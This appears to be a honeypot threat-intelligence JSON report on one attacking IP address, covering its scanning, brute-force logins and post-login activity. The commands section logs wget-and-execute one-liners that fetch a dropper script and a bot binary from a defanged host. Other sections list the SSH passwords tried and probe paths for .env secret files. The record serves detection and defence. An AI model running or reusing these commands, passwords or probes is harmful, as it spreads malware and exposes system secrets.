{"ip":"46.151.178.15","data_as_of":"2026-10-26T21:47:23+00:00","observed":true,"total_events":529,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"3 interactive session(s) ran commands after logging in","confidence":"high","network_type":null,"why":["3 interactive session(s) logged in and ran commands.","4 interactive session(s) logged in successfully.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 529 event(s) from this address as well.","Not in any known-scanner range.","Sent 78,240 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"78,240 bytes sent","bytes_sent":78240,"session_seconds":1,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-24T19:16:44","last_seen":"2026-10-26T20:22:42","events_24h":450,"events_7d":529,"interactive_sessions":281,"interactive_sessions_24h":134,"interactive_sessions_7d":281,"interactive_protocols":[{"protocol":"http","sessions":170},{"protocol":"ssh","sessions":11}],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"","city":"","lat":52.3824,"lon":4.8995,"asn":211443,"org":"Sino Worldwide Trading Limited"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"0200f7ac0860e67e7c664076fdfc3731077ef109ed4b30b4564fd0bcf095ddd9","family":"","vt_name":"","malicious":0,"total":0,"vt_status":"","delivery":"interactive session","url_path":"","dest_port":22,"hits":1,"last_seen":"2026-10-24 22:00:36"}],"udp":null,"interaction":{"window_days":90,"sessions":281,"first_seen":"2026-10-24T19:16:44","last_seen":"2026-10-26T19:13:23","verdicts":[{"verdict":"unknown","sessions":154},{"verdict":"scan","sessions":60},{"verdict":"exploit-attempt","sessions":60},{"verdict":"credential","sessions":4},{"verdict":"post-exploitation","sessions":3}],"personas":[{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2","sessions":60},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1, gitlab@19.4.2","sessions":50},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2, plex@1.43.2.10687","sessions":20},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1, gitlab@19.4.2","sessions":20},{"persona":"linux-ubuntu@24.04","sessions":11},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5, gitlab@19.4.2","sessions":10},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dns@1.10, fortigate@7.0.5, gitlab@19.4.2","sessions":10}],"services":[{"protocol":"http","port":80,"sessions":40},{"protocol":"tcp","port":9000,"sessions":30},{"protocol":"http","port":8443,"sessions":30},{"protocol":"tcp","port":8888,"sessions":20},{"protocol":"tcp","port":3000,"sessions":20},{"protocol":"http","port":8080,"sessions":20},{"protocol":"tcp","port":30000,"sessions":20},{"protocol":"http","port":8888,"sessions":20},{"protocol":"ssh","port":22,"sessions":11},{"protocol":"http","port":443,"sessions":10},{"protocol":"http","port":8000,"sessions":10},{"protocol":"http","port":9001,"sessions":10}],"logins":[{"username":"root","password":"Sh0pfr0nt!2024","password_sent":true,"service":"ssh-password","outcome":"success","tries":4,"last_seen":"2026-10-26T03:29:30"},{"username":"root","password":"M4il-n0reply-77","password_sent":true,"service":"ssh-password","outcome":"failure","tries":2,"last_seen":"2026-10-25T02:24:52"},{"username":"root","password":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","password_sent":true,"service":"ssh-password","outcome":"failure","tries":1,"last_seen":"2026-10-24T22:00:37"}],"commands":[{"ts":"2026-10-26T03:29:32","session_id":"e8a5790e-26a0-4c10-8b1f-cf35e8734b17","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /tmp && wget [http]://141[.]98[.]10[.]25/diddysbot-amd64 && chmod +x diddysbot-amd64 && ./diddysbot-amd64 && rm diddysbot-amd64","exit_code":0},{"ts":"2026-10-25T02:24:52","session_id":"9c139a20-88bb-40e4-ac28-4b967b30fc67","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /tmp && wget -q [http]://141[.]98[.]10[.]25/dropper.sh -O d.sh && sh d.sh && rm -f d.sh","exit_code":127},{"ts":"2026-10-24T22:00:36","session_id":"286f40c9-7428-4bf1-8854-fa97511f600a","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /tmp && wget -q [http]://141[.]98[.]10[.]25/dropper.sh -O d.sh && sh d.sh && rm -f d.sh","exit_code":127}],"downloads":[{"url":"[http]://141[.]98[.]10[.]25/dropper.sh","host":"141[.]98[.]10[.]25","sessions":2,"first_seen":"2026-10-24T22:00:36","last_seen":"2026-10-25T02:24:52","virustotal":null},{"url":"[http]://141[.]98[.]10[.]25/diddysbot-amd64","host":"141[.]98[.]10[.]25","sessions":1,"first_seen":"2026-10-26T03:29:32","last_seen":"2026-10-26T03:29:32","virustotal":{"sha256":"13d1dce34932712d2881f198e09746e0614b3b819fbc0812ed554b0035a92d59","status":"known","malicious":4,"total":75,"name":"13d1dce34932712d2881f198e09746e0614b3b819fbc0812ed554b0035a92d59.elf"}}],"files":[{"sha256":"c08ef7613ca382bd0c280380e54d3a56e807feb74f159872e719a4f810a30c9e","name":"d.sh","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":2,"first_seen":"2026-10-24T22:00:36","last_seen":"2026-10-25T02:24:52","virustotal":null},{"sha256":"ad9e1d4f1946c425d98c4f3c3f200b6341784cb0b48595a9394025da66bed474","name":"d.sh","size":30,"mime_type":"text/plain","kind":"downloaded","times":2,"first_seen":"2026-10-24T22:00:36","last_seen":"2026-10-25T02:24:52","virustotal":null},{"sha256":"356722b780c15355bf2af3cdcfc5286cd101b0d187b4bce8add1bc656793c974","name":"diddysbot-amd64","size":11064,"mime_type":"application/x-executable","kind":"sample","times":1,"first_seen":"2026-10-26T03:29:32","last_seen":"2026-10-26T03:29:32","virustotal":null},{"sha256":"da9ee279cc7abd7ddae595cd5a721603a1b05e3660203962295094f98d6fc89e","name":"diddysbot-amd64","size":35,"mime_type":"text/plain","kind":"downloaded","times":1,"first_seen":"2026-10-26T03:29:32","last_seen":"2026-10-26T03:29:32","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":60},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":60},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":4},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":3},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":7},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":3}]},"top_ports":[{"port":8443,"proto":"tcp","label":"HTTPS-alt","count":50,"sessions":30},{"port":30000,"proto":"tcp","label":"","count":50,"sessions":30},{"port":80,"proto":"tcp","label":"HTTP","count":40,"sessions":40},{"port":8888,"proto":"tcp","label":"HTTP-alt","count":30,"sessions":40},{"port":9001,"proto":"tcp","label":"Tor","count":50,"sessions":10},{"port":9000,"proto":"tcp","label":"Web-alt","count":19,"sessions":40},{"port":443,"proto":"tcp","label":"HTTPS","count":40,"sessions":10},{"port":5000,"proto":"tcp","label":"Web-alt","count":40,"sessions":10},{"port":9090,"proto":"tcp","label":"Prometheus","count":40,"sessions":10},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":30,"sessions":20},{"port":8008,"proto":"tcp","label":"HTTP-alt","count":40,"sessions":0},{"port":3000,"proto":"tcp","label":"Web-alt","count":20,"sessions":20},{"port":8081,"proto":"tcp","label":"","count":30,"sessions":0},{"port":10000,"proto":"tcp","label":"Webmin","count":30,"sessions":0},{"port":8000,"proto":"tcp","label":"HTTP-alt","count":20,"sessions":10}],"fingerprints":{"ssh_hassh":["0a07365cc01fa9fc82608ba4019af499"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cun040_00040013_608dab68"],"interactive":{"ssh_hassh":["0a07365cc01fa9fc82608ba4019af499"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"0a07365cc01fa9fc82608ba4019af499":11,"b11cun040_00040013_608dab68":4346},"akin_families":{},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-10-24","count":30,"sessions":33},{"date":"2026-10-25","count":129,"sessions":114},{"date":"2026-10-26","count":370,"sessions":134}],"recent_events":[{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/config/.env","summary":"","payload_hex":"474554202f636f6e6669672f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"6540db77-b815-4fb6-97a5-f13c3b09d068","seq":1,"duration_ms":100,"bytes_in":122,"bytes_out":78},{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/laravel/.env","summary":"","payload_hex":"474554202f6c61726176656c2f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"dfb00963-3aab-4bea-896c-c92fb2a7a411","seq":1,"duration_ms":101,"bytes_in":123,"bytes_out":78},{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app/.env","summary":"","payload_hex":"474554202f6170702f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"96b9c33b-1049-4d28-81e5-6e0d71590133","seq":1,"duration_ms":100,"bytes_in":119,"bytes_out":78},{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/.env","summary":"","payload_hex":"474554202f6170692f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"9a4249db-01fa-4202-9aaf-f6bc3f6995be","seq":1,"duration_ms":101,"bytes_in":119,"bytes_out":78},{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/.env.backup","summary":"","payload_hex":"474554202f2e656e762e6261636b757020485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"435c92c0-a97e-4ae5-807d-5ef30868d205","seq":1,"duration_ms":100,"bytes_in":122,"bytes_out":78},{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/.env","summary":"","payload_hex":"474554202f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"2818f895-e286-46de-86f3-55ef5ebab2cc","seq":1,"duration_ms":109,"bytes_in":115,"bytes_out":78},{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/.env.prod","summary":"","payload_hex":"474554202f2e656e762e70726f6420485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"fcf37882-5934-4223-be22-35dfff50c556","seq":1,"duration_ms":106,"bytes_in":120,"bytes_out":78},{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/.env.dev","summary":"","payload_hex":"474554202f2e656e762e64657620485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"54dadb99-df36-4a82-aa10-1a3c90ed2c78","seq":1,"duration_ms":104,"bytes_in":119,"bytes_out":78},{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/.env.local","summary":"","payload_hex":"474554202f2e656e762e6c6f63616c20485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"8ab385b8-63f3-4d9a-9171-d3f2d46f6d8c","seq":1,"duration_ms":103,"bytes_in":121,"bytes_out":78},{"timestamp":"2026-10-26T20:22:42","port":30000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:30000\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/.env.production","summary":"","payload_hex":"474554202f2e656e762e70726f64756374696f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a33303030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570742d456e636f64696e673a20677a69700d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"ae39b3b4-8cec-44cd-819a-968a54a4921a","seq":1,"duration_ms":101,"bytes_in":126,"bytes_out":78}],"http_methods":[{"method":"GET","count":649}],"distinct_ports_total":16,"top_paths":[{"path":"/.env","count":65,"ports":15},{"path":"/laravel/.env","count":65,"ports":15},{"path":"/app/.env","count":65,"ports":15},{"path":"/.env.prod","count":65,"ports":15},{"path":"/.env.dev","count":65,"ports":15},{"path":"/.env.local","count":65,"ports":15},{"path":"/api/.env","count":65,"ports":15},{"path":"/.env.backup","count":65,"ports":15},{"path":"/config/.env","count":65,"ports":15},{"path":"/.env.production","count":64,"ports":15}],"distinct_paths_total":10,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Connection","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Host","value":"<HONEYPOT>:30000","notable":false},{"name":"User-Agent","value":"Mozilla/5.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":3},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":3},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":3},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":7}]}